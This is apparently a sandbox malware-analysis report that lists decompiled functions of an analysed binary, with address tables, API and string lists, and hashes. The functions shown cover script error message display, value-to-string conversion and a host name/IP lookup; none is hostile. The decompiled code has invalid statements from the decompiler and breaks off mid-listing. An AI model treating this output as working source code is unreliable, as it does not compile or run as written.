                                                                                                                                                                            • Opcode ID: a487343c59825440cffdd6022f49dd836431a56fcda48515089244998ea4f28d
                                                                                                                                                                            • Instruction ID: 6cc86aaf3f57b9aec14a2210bc5d58b88d69c1962f85b7f875311c819b6133e0
                                                                                                                                                                            • Opcode Fuzzy Hash: a487343c59825440cffdd6022f49dd836431a56fcda48515089244998ea4f28d
                                                                                                                                                                            • Instruction Fuzzy Hash: 6051E5716047009BC710EF51D981B9BB3D4AB85705F108C2FF948AB382D7B9DE09879B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045E62E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 155COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 68%
                                                                                                                                                                            			E0045E62E(void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t42;
				signed int _t72;
				void* _t86;
				void* _t99;
				WCHAR* _t105;
				intOrPtr _t106;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t119;
				void* _t120;
				void* _t121;
				void* _t132;

				_t132 = __fp0;
				_t42 = E00425210(0x2048);
				if( *0x49728a == 0) {
					_t119 =  *((intOrPtr*)(_t121 + 0x205c));
					_t124 =  *((intOrPtr*)(_t119 + 0xf8)) - 1;
					if( *((intOrPtr*)(_t119 + 0xf8)) != 1) {
						LoadStringW( *0x4972c8, 0x66, _t121 + 0x5c, 0xfff);
						_t105 = _t121 + 0x58;
						E00401B70( *0x4825cc, _t105, _t121 + 0x48, _t124);
						LoadStringW( *0x4972c8,  *(_t121 + 0x2060), _t105, 0xfff);
						E00401B70( *0x4825cc, _t105, _t121 + 0x38, _t124);
						_t116 =  *((intOrPtr*)(_t119 + 0xf4));
						_t120 = E00437A81(_t116);
						_t106 = E00437A4D(_t116);
						 *((intOrPtr*)(_t121 + 0x28)) = _t106;
						_t86 = E00437AA7(E00437ACA(_t116));
						_t99 = _t121 + 0x58;
						_t125 = _t86;
						if(_t86 == 0) {
							_push( *((intOrPtr*)( *((intOrPtr*)(_t121 + 0x205c)) + 0xc8)));
							_push(_t116);
						} else {
							_push(_t86);
							_push(_t106);
						}
						_push(L"Line %d  (File \"%s\"):\n\n");
						_push(_t99);
						E0041353A(_t99, _t106, _t116);
						_t121 = _t121 + 0x10;
						_t117 = _t121 + 0x14;
						E00401B70(_t86, _t121 + 0x58, _t121 + 0x14, _t125);
						_t126 = _t120;
						if(_t120 != 0) {
							E0040D330(_t117, _t86, _t120, _t132);
							E0040D330(_t117, _t86, "\n", _t132);
						}
						E0040C060(_t121 + 0x28, _t126);
						_t108 =  *((intOrPtr*)(_t121 + 0x2064));
						if( *((intOrPtr*)(_t121 + 0x2064)) >= 0) {
							_t72 = E004021E0(_t121 + 0x2c, _t86, _t99, _t120);
							_t117 = _t121 + 0x28;
							E0040C740(_t72 | 0xffffffff, _t108, _t121 + 0x28);
							E0040D330(_t121 + 0x28, _t86, L"^ ERROR", _t132);
							E0040C140(_t121 + 0x18, _t132, _t117);
							E0040D330(_t121 + 0x14, _t86, "\n", _t132);
						}
						E0040D330(_t121 + 0x14, _t86, L"\nError: ", _t132);
						E0040C140(_t121 + 0x18, _t132, _t121 + 0x38);
						if( *0x497290 == 0) {
							MessageBoxW( *0x4972c0,  *(_t121 + 0x14),  *(_t121 + 0x48), 0x11010);
							goto L14;
						} else {
							_t130 = _t86;
							if(_t86 == 0) {
								_t118 =  *((intOrPtr*)(_t121 + 0x205c));
								_push( *((intOrPtr*)(_t121 + 0x38)));
								_push( *((intOrPtr*)(_t118 + 0xf4)));
								_push( *((intOrPtr*)(_t118 + 0xc8)));
								_push(L"%s (%d) : ==> %s:\n");
								E00413E5C(_t86,  *((intOrPtr*)(_t121 + 0x38)), L"\nError: ", _t118, __eflags);
								_t121 = _t121 + 0x10;
							} else {
								_push( *((intOrPtr*)(_t121 + 0x28)));
								_push(_t120);
								_push( *((intOrPtr*)(_t121 + 0x38)));
								_push( *((intOrPtr*)(_t121 + 0x24)));
								_push(_t86);
								_push(L"%s (%d) : ==> %s:\n%s\n%s\n");
								E00413E5C(_t86,  *((intOrPtr*)(_t121 + 0x28)), L"\nError: ", _t117, _t130);
								_t121 = _t121 + 0x18;
								L14:
								_t118 =  *((intOrPtr*)(_t121 + 0x205c));
							}
						}
						 *((intOrPtr*)(_t118 + 0xf8)) = 1;
						if( *((char*)(_t118 + 0x118)) == 0) {
							 *0x49729c = 1;
						} else {
							 *0x49729c =  *(_t121 + 0x2060) + 0x7ffff000;
						}
						E00402620(_t121 + 0x28);
						E00402620(_t121 + 0x14);
						E00402620(_t121 + 0x38);
						_t42 = E00402620(_t121 + 0x48);
					}
				}
				return _t42;
			}



















                                                                                                                                                                            0x0045e62e
                                                                                                                                                                            0x0045e633
                                                                                                                                                                            0x0045e643
                                                                                                                                                                            0x0045e649
                                                                                                                                                                            0x0045e650
                                                                                                                                                                            0x0045e657
                                                                                                                                                                            0x0045e676
                                                                                                                                                                            0x0045e678
                                                                                                                                                                            0x0045e680
                                                                                                                                                                            0x0045e69a
                                                                                                                                                                            0x0045e6a0
                                                                                                                                                                            0x0045e6a5
                                                                                                                                                                            0x0045e6b2
                                                                                                                                                                            0x0045e6b9
                                                                                                                                                                            0x0045e6bc
                                                                                                                                                                            0x0045e6cb
                                                                                                                                                                            0x0045e6cd
                                                                                                                                                                            0x0045e6d1
                                                                                                                                                                            0x0045e6d3
                                                                                                                                                                            0x0045e6e6
                                                                                                                                                                            0x0045e6e7
                                                                                                                                                                            0x0045e6d5
                                                                                                                                                                            0x0045e6d5
                                                                                                                                                                            0x0045e6d6
                                                                                                                                                                            0x0045e6d6
                                                                                                                                                                            0x0045e6e8
                                                                                                                                                                            0x0045e6ed
                                                                                                                                                                            0x0045e6ee
                                                                                                                                                                            0x0045e6f3
                                                                                                                                                                            0x0045e6fa
                                                                                                                                                                            0x0045e6fe
                                                                                                                                                                            0x0045e703
                                                                                                                                                                            0x0045e705
                                                                                                                                                                            0x0045e70b
                                                                                                                                                                            0x0045e717
                                                                                                                                                                            0x0045e717
                                                                                                                                                                            0x0045e720
                                                                                                                                                                            0x0045e725
                                                                                                                                                                            0x0045e72e
                                                                                                                                                                            0x0045e735
                                                                                                                                                                            0x0045e73d
                                                                                                                                                                            0x0045e741
                                                                                                                                                                            0x0045e74d
                                                                                                                                                                            0x0045e757
                                                                                                                                                                            0x0045e765
                                                                                                                                                                            0x0045e765
                                                                                                                                                                            0x0045e773
                                                                                                                                                                            0x0045e781
                                                                                                                                                                            0x0045e78d
                                                                                                                                                                            0x0045e7f2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045e78f
                                                                                                                                                                            0x0045e78f
                                                                                                                                                                            0x0045e791
                                                                                                                                                                            0x0045e7b7
                                                                                                                                                                            0x0045e7ca
                                                                                                                                                                            0x0045e7cb
                                                                                                                                                                            0x0045e7cc
                                                                                                                                                                            0x0045e7cd
                                                                                                                                                                            0x0045e7d2
                                                                                                                                                                            0x0045e7d7
                                                                                                                                                                            0x0045e793
                                                                                                                                                                            0x0045e79f
                                                                                                                                                                            0x0045e7a0
                                                                                                                                                                            0x0045e7a1
                                                                                                                                                                            0x0045e7a2
                                                                                                                                                                            0x0045e7a3
                                                                                                                                                                            0x0045e7a4
                                                                                                                                                                            0x0045e7a9
                                                                                                                                                                            0x0045e7ae
                                                                                                                                                                            0x0045e7f8
                                                                                                                                                                            0x0045e7f8
                                                                                                                                                                            0x0045e7f8
                                                                                                                                                                            0x0045e791
                                                                                                                                                                            0x0045e80b
                                                                                                                                                                            0x0045e811
                                                                                                                                                                            0x0045e828
                                                                                                                                                                            0x0045e813
                                                                                                                                                                            0x0045e820
                                                                                                                                                                            0x0045e820
                                                                                                                                                                            0x0045e831
                                                                                                                                                                            0x0045e83a
                                                                                                                                                                            0x0045e843
                                                                                                                                                                            0x0045e84c
                                                                                                                                                                            0x0045e84c
                                                                                                                                                                            0x0045e657
                                                                                                                                                                            0x0045e85b

                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E676
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • LoadStringW.USER32(?,?,?,00000FFF), ref: 0045E69A
                                                                                                                                                                            • __swprintf.LIBCMT ref: 0045E6EE
                                                                                                                                                                            • _printf.LIBCMT ref: 0045E7A9
                                                                                                                                                                            • _printf.LIBCMT ref: 0045E7D2
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                                                                                            • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                                                                                                                            • API String ID: 3590180749-2354261254
                                                                                                                                                                            • Opcode ID: 10e48b686bc1fcf0ae36d010e9c9631c041a7cd6da18121578042419e2e4a910
                                                                                                                                                                            • Instruction ID: 03d42c299deb106851c26beaa035a1d67b90fa97d791fe748db8e656fe6cf6f8
                                                                                                                                                                            • Opcode Fuzzy Hash: 10e48b686bc1fcf0ae36d010e9c9631c041a7cd6da18121578042419e2e4a910
                                                                                                                                                                            • Instruction Fuzzy Hash: DA51D5715143019BD324FB51CC41EAF77A8AF94344F14093FF94527292DB78AE49CB6A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00452E2A Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 154COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 74%
                                                                                                                                                                            			E00452E2A(void* __ebx) {
				intOrPtr _t30;
				signed int _t31;
				void* _t38;
				intOrPtr* _t50;
				void* _t51;

				_t38 = __ebx;
				_t50 =  *((intOrPtr*)(_t51 + 0x9c));
				_t30 =  *((intOrPtr*)(_t50 + 8));
				if(_t30 == 4) {
					return _t30;
				} else {
					_t31 = _t30 - 1;
					if(_t31 > 0xa) {
						L17:
						 *((short*)(_t51 + 0x1c)) = 0;
						goto L18;
					} else {
						switch( *((intOrPtr*)(_t31 * 4 +  &M00453002))) {
							case 0:
								E00413308( *_t50, _t51 + 0x20, 0xa);
								_t51 = _t51 + 0xc;
								goto L18;
							case 1:
								__eax =  *(__ebp + 4);
								__ecx =  *__ebp;
								__edx = __esp + 0x20;
								__eax = E004133B1( *__ebp,  *(__ebp + 4), __esp + 0x20, 0xa);
								goto L18;
							case 2:
								__esp = __esp - 8;
								 *__esp =  *__ebp;
								__edx = __esp + 0x24;
								_push(L"%.15g");
								_push(__edx);
								__eax = E0041353A(__edx, __edi, __esi);
								__esp = __esp + 0x10;
								goto L18;
							case 3:
								goto L17;
							case 4:
								__eax =  *__ebp;
								__ecx = __esp + 0x20;
								__eax = E0041353A(__edx, __edi, __esi, __esp + 0x20, L"0x%p",  *__ebp);
								goto L18;
							case 5:
								__eflags =  *__ebp;
								if( *__ebp == 0) {
									__esp + 0x1c = E00411691(__esp + 0x1c, L"False");
								} else {
									__edx = __esp + 0x1c;
									__eax = E00411691(__esp + 0x1c, L"True");
								}
								goto L18;
							case 6:
								__edx =  *__ebp;
								__ecx = __esp + 0xc;
								E0044B3D2( *__ebp, __esp + 0xc) =  *__eax;
								__ecx = __esp + 0x20;
								__eax = E00411691(__esp + 0x20, __eax);
								__ecx = __esp + 0xc;
								__eax = E00402620(__esp + 0xc);
								L18:
								E004041D0(_t50);
								_push(0x10);
								_t33 = E0041171A(_t38, _t41, _t54);
								_t52 = _t51 + 4;
								_t55 = _t33;
								if(_t33 == 0) {
									__eflags = 0;
									 *((intOrPtr*)(_t50 + 0xc)) = 0;
									return 0;
								}
								_t35 = E00401B70(_t38, _t52 + 0x1c, _t33, _t55);
								 *((intOrPtr*)(_t50 + 0xc)) = _t35;
								return _t35;
								goto L22;
							case 7:
								__edx =  *__ebp;
								__eax =  *( *__ebp);
								__ecx = 0;
								__eax = 6 +  *( *__ebp) * 4;
								__edx = 2;
								__edx = __eax * 2 >> 0x20;
								__eax = __eax * 2;
								0 | __eflags > 0x00000000 =  ~(__eflags > 0);
								__ecx =  ~(__eflags > 0) | __eax;
								_push( ~(__eflags > 0) | __eax);
								__edi = E0041171A(__ebx, __edi, __eflags);
								__eax =  *__ebp;
								__esp = __esp + 4;
								__eflags =  *__eax;
								if( *__eax == 0) {
									__eax = 0;
									__eflags = 0;
									 *__edi = __ax;
								} else {
									__ecx =  *__eax;
									__edx =  *(__eax + 4);
									_push( *__eax);
									_push(__edi);
									_push( *(__eax + 4));
									__eax = E00435E4D();
									__esp = __esp + 0xc;
								}
								__esi = __ebp;
								__eax = E004041D0(__ebp);
								_push(0x10);
								__eax = E0041171A(__ebx, __edi, __eflags);
								__esp = __esp + 4;
								__eflags = __eax;
								if(__eflags == 0) {
									__eax = 0;
									__eflags = 0;
									 *((intOrPtr*)(__ebp + 0xc)) = 0;
									__eax = E004112EF(__ebx, __edx, __edi, __esi, 0, __edi);
									_pop(__edi);
									_pop(__esi);
									return __eax;
								} else {
									__esi = __eax;
									 *((intOrPtr*)(__ebp + 0xc)) = E00401B70(__ebx, __edi, __esi, __eflags);
									__eax = E004112EF(__ebx, __edx, __edi, __esi, __eflags, __edi);
									_pop(__edi);
									_pop(__esi);
									return __eax;
								}
								goto L22;
						}
					}
				}
				L22:
			}








                                                                                                                                                                            0x00452e2a
                                                                                                                                                                            0x00452e31
                                                                                                                                                                            0x00452e38
                                                                                                                                                                            0x00452e3e
                                                                                                                                                                            0x00452ffe
                                                                                                                                                                            0x00452e44
                                                                                                                                                                            0x00452e44
                                                                                                                                                                            0x00452e4a
                                                                                                                                                                            0x00452fba
                                                                                                                                                                            0x00452fbc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452e50
                                                                                                                                                                            0x00452e50
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452e62
                                                                                                                                                                            0x00452e67
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452e6f
                                                                                                                                                                            0x00452e72
                                                                                                                                                                            0x00452e77
                                                                                                                                                                            0x00452e7e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452e8e
                                                                                                                                                                            0x00452e91
                                                                                                                                                                            0x00452e94
                                                                                                                                                                            0x00452e98
                                                                                                                                                                            0x00452e9d
                                                                                                                                                                            0x00452e9e
                                                                                                                                                                            0x00452ea3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452eab
                                                                                                                                                                            0x00452eaf
                                                                                                                                                                            0x00452eb9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452ec6
                                                                                                                                                                            0x00452eca
                                                                                                                                                                            0x00452eed
                                                                                                                                                                            0x00452ecc
                                                                                                                                                                            0x00452ecc
                                                                                                                                                                            0x00452ed6
                                                                                                                                                                            0x00452edb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452efa
                                                                                                                                                                            0x00452efd
                                                                                                                                                                            0x00452f08
                                                                                                                                                                            0x00452f0b
                                                                                                                                                                            0x00452f10
                                                                                                                                                                            0x00452f18
                                                                                                                                                                            0x00452f1c
                                                                                                                                                                            0x00452fc1
                                                                                                                                                                            0x00452fc3
                                                                                                                                                                            0x00452fc8
                                                                                                                                                                            0x00452fca
                                                                                                                                                                            0x00452fcf
                                                                                                                                                                            0x00452fd2
                                                                                                                                                                            0x00452fd4
                                                                                                                                                                            0x00452ff0
                                                                                                                                                                            0x00452ff3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452ff6
                                                                                                                                                                            0x00452fdc
                                                                                                                                                                            0x00452fe3
                                                                                                                                                                            0x00452fed
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452f26
                                                                                                                                                                            0x00452f29
                                                                                                                                                                            0x00452f2b
                                                                                                                                                                            0x00452f2d
                                                                                                                                                                            0x00452f34
                                                                                                                                                                            0x00452f39
                                                                                                                                                                            0x00452f39
                                                                                                                                                                            0x00452f3e
                                                                                                                                                                            0x00452f40
                                                                                                                                                                            0x00452f42
                                                                                                                                                                            0x00452f48
                                                                                                                                                                            0x00452f4a
                                                                                                                                                                            0x00452f4d
                                                                                                                                                                            0x00452f50
                                                                                                                                                                            0x00452f53
                                                                                                                                                                            0x00452f67
                                                                                                                                                                            0x00452f67
                                                                                                                                                                            0x00452f69
                                                                                                                                                                            0x00452f55
                                                                                                                                                                            0x00452f55
                                                                                                                                                                            0x00452f57
                                                                                                                                                                            0x00452f5a
                                                                                                                                                                            0x00452f5b
                                                                                                                                                                            0x00452f5c
                                                                                                                                                                            0x00452f5d
                                                                                                                                                                            0x00452f62
                                                                                                                                                                            0x00452f62
                                                                                                                                                                            0x00452f6c
                                                                                                                                                                            0x00452f6e
                                                                                                                                                                            0x00452f73
                                                                                                                                                                            0x00452f75
                                                                                                                                                                            0x00452f7a
                                                                                                                                                                            0x00452f7d
                                                                                                                                                                            0x00452f7f
                                                                                                                                                                            0x00452fa0
                                                                                                                                                                            0x00452fa0
                                                                                                                                                                            0x00452fa3
                                                                                                                                                                            0x00452fa6
                                                                                                                                                                            0x00452fae
                                                                                                                                                                            0x00452faf
                                                                                                                                                                            0x00452fb7
                                                                                                                                                                            0x00452f81
                                                                                                                                                                            0x00452f81
                                                                                                                                                                            0x00452f89
                                                                                                                                                                            0x00452f8c
                                                                                                                                                                            0x00452f94
                                                                                                                                                                            0x00452f95
                                                                                                                                                                            0x00452f9d
                                                                                                                                                                            0x00452f9d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452e50
                                                                                                                                                                            0x00452e4a
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __swprintf_wcscpy$__i64tow__itow
                                                                                                                                                                            • String ID: %.15g$0x%p$False$True
                                                                                                                                                                            • API String ID: 3038501623-2263619337
                                                                                                                                                                            • Opcode ID: 8c14043f141c8464e7c3bd09105554cc0bababafb4d2bfacacba7825c0bdb20a
                                                                                                                                                                            • Instruction ID: 2d826072eebb3cc9b8b6a8fde8b9da0ebc7f558755c715a4a51c402ed3db85ba
                                                                                                                                                                            • Opcode Fuzzy Hash: 8c14043f141c8464e7c3bd09105554cc0bababafb4d2bfacacba7825c0bdb20a
                                                                                                                                                                            • Instruction Fuzzy Hash: 5741E5B2504204ABD700EF35EC06EAB73A4EB95304F04892FFD0997282F67DD619976E
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00453F80 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 84windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 70%
                                                                                                                                                                            			E00453F80(void* __eflags, void* __fp0, WCHAR* _a16, short _a32, intOrPtr _a8228, intOrPtr _a8232, intOrPtr _a8236, intOrPtr _a8240, intOrPtr _a8244) {
				WCHAR* _v0;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t46;
				intOrPtr _t64;
				void* _t68;
				void* _t70;

				_t70 = __fp0;
				_t68 = __eflags;
				E00425210(0x2020);
				_t46 = _a8228;
				_t64 = _a8232;
				LoadStringW(GetModuleHandleW(0),  *(_t46 + 0x48),  &_a32, 0xfff);
				E00401B70(_t46,  &_a32,  &_a16, _t68);
				_t69 =  *((char*)(_t46 + 3));
				if( *((char*)(_t46 + 3)) == 0) {
					__eflags = _t64;
					if(_t64 != 0) {
						_push(_t64);
						E0041353A( &_a32,  &_a32,  &_a16,  &_a32, L"Line %d  (File \"%s\"):\n\n", _a8236);
					} else {
						E0041353A(_a8236,  &_a32,  &_a16,  &_a32, L"Line %d:\n\n", _a8236);
					}
					_t63 =  &_v0;
					E00401B70(_t46,  &_a32,  &_v0, __eflags);
					E0040D330( &_v0, _t46, _a8244, _t70);
					E0040D330( &_v0, _t46, L"\n\nError: ", _t70);
					E0040D330( &_v0, _t46, _a8240, _t70);
					E0040D330(_t63, _t46, L".\n\n", _t70);
					MessageBoxW(0, _v0, _a16, 0x11010);
					E00402620(_t63);
				} else {
					_push(0x4848e8);
					_push(_a8244);
					_push(_a8240);
					_push(_a8236);
					_push(_t64);
					_push(L"%s (%d) : ==> %s.: \n%s \n%s\n");
					E00413E5C(_t46, _a8244,  &_a32,  &_a16, _t69);
				}
				return E00402620( &_a16);
			}












                                                                                                                                                                            0x00453f80
                                                                                                                                                                            0x00453f80
                                                                                                                                                                            0x00453f85
                                                                                                                                                                            0x00453f8b
                                                                                                                                                                            0x00453f96
                                                                                                                                                                            0x00453fb3
                                                                                                                                                                            0x00453fc1
                                                                                                                                                                            0x00453fc6
                                                                                                                                                                            0x00453fca
                                                                                                                                                                            0x00453ffc
                                                                                                                                                                            0x00453ffe
                                                                                                                                                                            0x00454023
                                                                                                                                                                            0x0045402f
                                                                                                                                                                            0x00454000
                                                                                                                                                                            0x00454012
                                                                                                                                                                            0x00454017
                                                                                                                                                                            0x0045403b
                                                                                                                                                                            0x0045403f
                                                                                                                                                                            0x0045404d
                                                                                                                                                                            0x00454059
                                                                                                                                                                            0x00454067
                                                                                                                                                                            0x00454073
                                                                                                                                                                            0x00454089
                                                                                                                                                                            0x00454091
                                                                                                                                                                            0x00453fcc
                                                                                                                                                                            0x00453fe1
                                                                                                                                                                            0x00453fe6
                                                                                                                                                                            0x00453fe7
                                                                                                                                                                            0x00453fe8
                                                                                                                                                                            0x00453fe9
                                                                                                                                                                            0x00453fea
                                                                                                                                                                            0x00453fef
                                                                                                                                                                            0x00453ff4
                                                                                                                                                                            0x004540a9

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,?,?,0042B888,?,?,?,#include depth exceeded. Make sure there are no recursive includes,?), ref: 00453FAC
                                                                                                                                                                            • LoadStringW.USER32(00000000), ref: 00453FB3
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • _printf.LIBCMT ref: 00453FEF
                                                                                                                                                                            • __swprintf.LIBCMT ref: 00454012
                                                                                                                                                                            • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00454089
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: HandleLoadMessageModuleString__swprintf_printf_wcslen
                                                                                                                                                                            • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                                                                                                                                            • API String ID: 3621722462-4153970271
                                                                                                                                                                            • Opcode ID: ec64ece7136fde306540d7e4a23c5e30b24383e90996b5a33536c0bac834777e
                                                                                                                                                                            • Instruction ID: 57199a961424a228cb32bf867b11d0cb9a6cb8eef092ee88fd74c026bb4446b3
                                                                                                                                                                            • Opcode Fuzzy Hash: ec64ece7136fde306540d7e4a23c5e30b24383e90996b5a33536c0bac834777e
                                                                                                                                                                            • Instruction Fuzzy Hash: 0221B172614340ABD214FB50CC09EAF73A9FBC4704F404C2EFA4467282D778AE09C7AA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00436582 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 79networkCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 85%
                                                                                                                                                                            			E00436582(void* __ebx, void* __ebp, signed int _a4, intOrPtr _a8) {
				char _v404;
				char _v668;
				char _v676;
				char _v684;
				void* __edi;
				void* __esi;
				char* _t14;
				int _t16;
				intOrPtr* _t17;
				void* _t19;
				void* _t24;
				void* _t25;
				void* _t26;
				intOrPtr* _t30;
				void* _t32;
				intOrPtr _t34;
				signed int _t35;

				_t26 = __ebx;
				_t35 = _a4;
				_t34 = _a8;
				_t14 =  &_v404;
				_push(_t14);
				_push(0x101);
				L00410E86();
				if(_t14 != 0) {
					L8:
					return E00411691(_t34, 0x4848e8);
				} else {
					_t16 = gethostname( &_v668, 0x100);
					_push( &_v676);
					L00410E92();
					if(_t16 == 0) {
						goto L8;
					} else {
						_t17 =  *((intOrPtr*)(_t16 + 0xc));
						_t32 = 0;
						if( *_t17 != 0) {
							_t30 = _t17;
							do {
								_t30 = _t30 + 4;
								_t32 = _t32 + 1;
							} while ( *_t30 != 0);
						}
						if(_t35 <= _t32) {
							_t19 = E00410F70(_t26, _t34, _t35,  &_v684,  *((intOrPtr*)(_t17 + _t35 * 4 - 4)), 4);
							_push(_v684);
							L00410E98();
							E00413990( &_v684, _t19);
							_t36 = E004359C4( &_v684, 0xffffffff);
							E00411691(_t34, _t22);
							_t24 = E004112EF(_t26, _v684, _t34, _t22, __eflags, _t36);
							L00410E9E();
							return _t24;
						} else {
							_t25 = E00411691(_t34, L"0.0.0.0");
							L00410E9E();
							return _t25;
						}
					}
				}
			}




















                                                                                                                                                                            0x00436582
                                                                                                                                                                            0x00436589
                                                                                                                                                                            0x00436591
                                                                                                                                                                            0x00436598
                                                                                                                                                                            0x0043659f
                                                                                                                                                                            0x004365a0
                                                                                                                                                                            0x004365a5
                                                                                                                                                                            0x004365ac
                                                                                                                                                                            0x00436660
                                                                                                                                                                            0x00436676
                                                                                                                                                                            0x004365b2
                                                                                                                                                                            0x004365bc
                                                                                                                                                                            0x004365c5
                                                                                                                                                                            0x004365c6
                                                                                                                                                                            0x004365cd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004365d3
                                                                                                                                                                            0x004365d3
                                                                                                                                                                            0x004365d6
                                                                                                                                                                            0x004365da
                                                                                                                                                                            0x004365dc
                                                                                                                                                                            0x004365e2
                                                                                                                                                                            0x004365e2
                                                                                                                                                                            0x004365e5
                                                                                                                                                                            0x004365e6
                                                                                                                                                                            0x004365e2
